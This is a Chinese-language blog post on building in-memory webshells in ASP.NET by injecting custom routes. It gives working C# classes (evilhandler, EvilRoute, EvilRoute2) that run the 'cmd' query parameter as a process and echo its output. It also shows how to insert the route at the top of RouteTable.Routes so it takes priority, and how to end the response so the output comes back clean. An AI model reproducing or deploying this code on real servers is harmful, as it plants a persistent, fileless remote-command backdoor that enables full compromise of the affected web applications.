浅谈 DotNet 内存马 Route

浅谈 DotNet 内存马 Route

0x01 前言

最近准备花时间学习研究下Net内存马相关的知识,从易到难,从简入深,主要参考的是yzddMr6师傅的系列文章,表示感谢

0x02 自定义路由

前文说到,全局入口文件global.asax处主要包含了三个部分:

upload_d9a32738ef675c313eed8c8c7b21938b

对于许多简单的ASP.NET MVC应用程序,默认路由表可以正常工作。 但是,你可能会发现你具有专用路由需求。 在这种情况下,可以创建自定义路由。

Imagine,例如,你要生成博客应用程序。 可能需要处理如下所示的传入请求:
/Archive/12-25-2009
用户输入此请求时,需要返回与2009年12月25日相对应的博客文章。若要处理此类请求,需要创建自定义路由。

这里我们自定义路由用来处理类似/Archive/entry date的请求。

upload_d305818685ecc409058e05a7627ba8d6

添加到路由表的路由顺序非常重要。 新的自定义博客路由已添加到现有默认路由之前。 如果反转了顺序,则始终会调用默认路由,而不是自定义路由。

自定义博客路由匹配以/Archive/开头的任何请求。 因此,它匹配以下所有 URL:

/Archive/12-25-2009
/Archive/10-6-2004
/Archive/apple

自定义路由将传入请求映射到名为Archive的控制器,并调用Entry () 操作。 调用 Entry () 方法时,输入日期作为名为entryDate的参数传递,因此当我们如果能够动态打进去一个路由,然后映射到我们自定义的类,即可实现内存马的效果

这里我们当然可以在控制器的方法内实现恶意操作,这样当访问指定的路由时便能够实现内存马的功能,其实内存马也就是把恶意的代码注入到了一个每次Web请求都会触发的地方,但是同样的道理,由于MapRoute依赖于system.web.mvc.dll,那么这样便只能针对DotNet MVC有效,那有没有更加通用的方式?

0x03 Route分析

结果当然是有的,我们来看一下MapRoute实现的方法:

upload_8b87f657cb451b0f925a18caf0c34921

这里我们看到,实际上MapRoute方法会先创建Route类并且判断是否合法后通过routes.Add方法添加到路由表中,而Route依赖于system.web.routing.route,这也就意味着不只是支持MVC,因为在webform中也是会使用该依赖来定义路由的,这里其实存在两个攻击面:

  • 1.可以实例化System.Web.Routing.Route实例,重写IrouteHandler接口
    upload_97362487ec35af69878f8e1d7dad3d57
  • 2.自己实现Route,继承自RouteBase抽象类,在抽象方法中实现恶意代码
    upload_e5920c82d375939d2520d28123df9acb

0x04 内存马实现

1.重新实现IRouteHandler接口

我们来看一下该接口的定义,发现需要实现GetHttpHandler方法:

upload_a2b67142783f9c2431ea9cb66d1ce5a9

而这个方法返回的是IHttpHandler实例,因此这里又存在两种方式,在GetHttpHandler实现恶意操作,以及注入IHttpHandler

注入GetHttpHandler
这里的注入只需要在GetHttpHandler中实现我们的内存马即可:

upload_1281add90d63529f12cd1290dcec45c3

这里在我们的Archive控制器的Entry方法中实现,这样当我们访问这个路由时会进行注入,可以看到当我们没有访问路由时:

upload_8459447f203b9b0f82d319918e72a684

并不会执行命令,而当我们访问路由/Archive/xxx后:
upload_1e43553a9852669056be43fc77227ec1

页面空白,此时已经注入写好的内存马,现在我们访问/crisprxx路由后:
upload_8bf3956761a3c76b7c8865918df9a2aa

但是这里需要注意一个细节,也是笔者在实现过程中遇到的比较坑的地方,像这样我们的自定义路由是排在靠后位置的:

upload_c715ee4f046ec972cd73e6c5ee11ccba

这样当我们成功注册这个路由之后,我们访问对应的路径时,会优先匹配靠前的路由,也就是Default路由
upload_c604acacbf011f9c411a10fb537c6bd9

由于找不到名称为crisprxxx的控制器,所以程序会提示如图3所示的错误、而不会进入自定义注册的路由规则:
upload_31cdb375b1bd5f053ce3b5ae23f2110f

使得内存马失效,因此如果想避免这种情况的发生,可以选择删除默认路由或者缩小匹配范围,当然这里还有更好的一种方法:
由于RouteTable.Routes本质上是Collection,而Add方法是按顺序添加,并没有order参数,但我们可以调用Insert方法,该方法支持设置自定义的路由的顺序:
upload_0048898f1fbf0ff6c559cd50d89be7f2

因此我们可以通过这样实现:
upload_1acfbb1fd0538fc8d8e01d57bd20391e

现在我们再来看一下路由顺序:
upload_2db5d22e8b3340ef3754261a72961b59

这样就不用担心路径会被之前的路由所匹配而没有进入我们自定义的路由之中了,因为我们的路由规则已经是全局路由表中优先级最高的

如何回显
细心的师傅们可能注意到之前内存马的返回是会出现报错信息的:

upload_8bf3956761a3c76b7c8865918df9a2aa

这是因为我们并没有返回实现IHttpHandler接口的实例而是以null返回,因此如果想要回显的话,可以通过实现一个IHttpHandler接口的空实例,注意实现接口的抽象方法即可:

public class evilhandler: IHttpHandler
        {
            bool IHttpHandler.IsReusable => throw new NotImplementedException();
            void IHttpHandler.ProcessRequest(HttpContext context)
            {
            }
        }

upload_4d756211ee4f55022fb85e6de2d9bd95

现在我们重新访问路径注册路由后来调用内存马进行命令的执行:
upload_72947ee1181e99ef82944f9a096d3448

注入IHttpHandler
承接上文,既然我们需要返回实现IHttpHandler接口的实例,那自然可以从抽象方法中寻找注入点,这里可以选择IHttpHandler.ProcessRequest来注入:

public class evilhandler: IHttpHandler
        {
            bool IHttpHandler.IsReusable => throw new NotImplementedException();
            void IHttpHandler.ProcessRequest(HttpContext http)
            {
                string payload = http.Request.QueryString["cmd"];
                if (payload != null)
                {
                    Process p = new Process();
                    p.StartInfo.FileName = payload;
                    p.StartInfo.UseShellExecute = false;
                    p.StartInfo.RedirectStandardOutput = true;
                    p.StartInfo.RedirectStandardError = true;
                    p.Start();
                    byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
                    http.Response.Write(Encoding.Default.GetString(data));
                }
            }
        }
        public class EvilRoute : IRouteHandler
        {
            public IHttpHandler GetHttpHandler(RequestContext requestContext)
            {
                return new evilhandler();
            }
        }

这样注入的效果和实现IrouteHandler接口是一样,接下来我们来看第二种方式,也就是自己实现Route,继承自RouteBase抽象类,在抽象方法中实现恶意代码

2.继承RouteBase实现注入

RouteBase利用类,您可以创建自定义类,以便在应用程序中定义路由。通常,在 Route定义路由时,将使用类。Route类是从RouteBase类派生的。 但是,如果要提供与类提供的功能不同的功能Route,请创建一个派生自的类, RouteBase 并实现所需的属性和方法。

看一下该抽象类需要实现的方法有:

upload_55a0fed7170ea5f2670fc6423482ab14

因此注入也是通过这两种方法进行,

  • 1.GetRouteData方法

    upload_fde0821f95b927f3e64b591b1c7a74e7

  • 2.GetVirtualPath方法

    upload_5bd65808b6c0b292035099c7c57e6209

从GetRouteData中注入

public class EvilRoute2 : RouteBase
        {
            public override RouteData GetRouteData(HttpContextBase http)
            {
                string payload = http.Request.QueryString["cmd"];
                if (payload != null)
                {
                    Process p = new Process();
                    p.StartInfo.FileName = payload;
                    p.StartInfo.UseShellExecute = false;
                    p.StartInfo.RedirectStandardOutput = true;
                    p.StartInfo.RedirectStandardError = true;
                    p.Start();
                    byte[] data = Encoding.UTF8.GetBytes(p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd());
                    http.Response.Write(Encoding.Default.GetString(data));
                }
                return null;
            }

            public override VirtualPathData GetVirtualPath(RequestContext requestContext, RouteValueDictionary values)
            {
                return null;
            }
        }
    }

然后在全局路由表中加入,在这里如果没有默认路由的话也可以不用定义顺序,不过为了高优先级,插入全局路由表的第一个路由总归还是不错的

upload_e0547c95bcfaead158af00eb144fc8c3

最后效果就是访问已有路由都会优先匹配第一个RouteBase也就是我们自定义的,从而进入实现GetRouteData方法,进而完成内存马的注入
upload_67737abc2ee9aa25fb97e1a1baa25e4c

这里为了比较两个方法的优先级,我分别在两个方法中进行打印,发现GetRouteData优先级高于GetVirtualPath:

upload_60cf925f09a037285ce51372794d024e

从GetVirtualPath中注入
同样我们只需要将之前在GetRouteData的代码载入到GetVirtualPath方法即可:

upload_fb2415cd54533944d1266543c8fdda59

注意这里由于传入参数只有RequestContext,因此我们需要通过System.Web.HttpContext.Current获取当前Http上下文,主要是拿到ResponseContext以便进行回显

效果如下:

upload_e5227a7822c40e4f3845a5a102f1eef5

这里会回显4次,要想解决这个问题,实际上只需要调用Response.End方法:
upload_5775061efa5fe5e830f4bda87b00955b

写完结果后终止后面的加载,这样的话就能保证结果都是命令的输出,不会掺杂其他的数据返回,而不加cmd参数时是正常的
upload_56b917940fddd60a3890878789b7e8bb

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇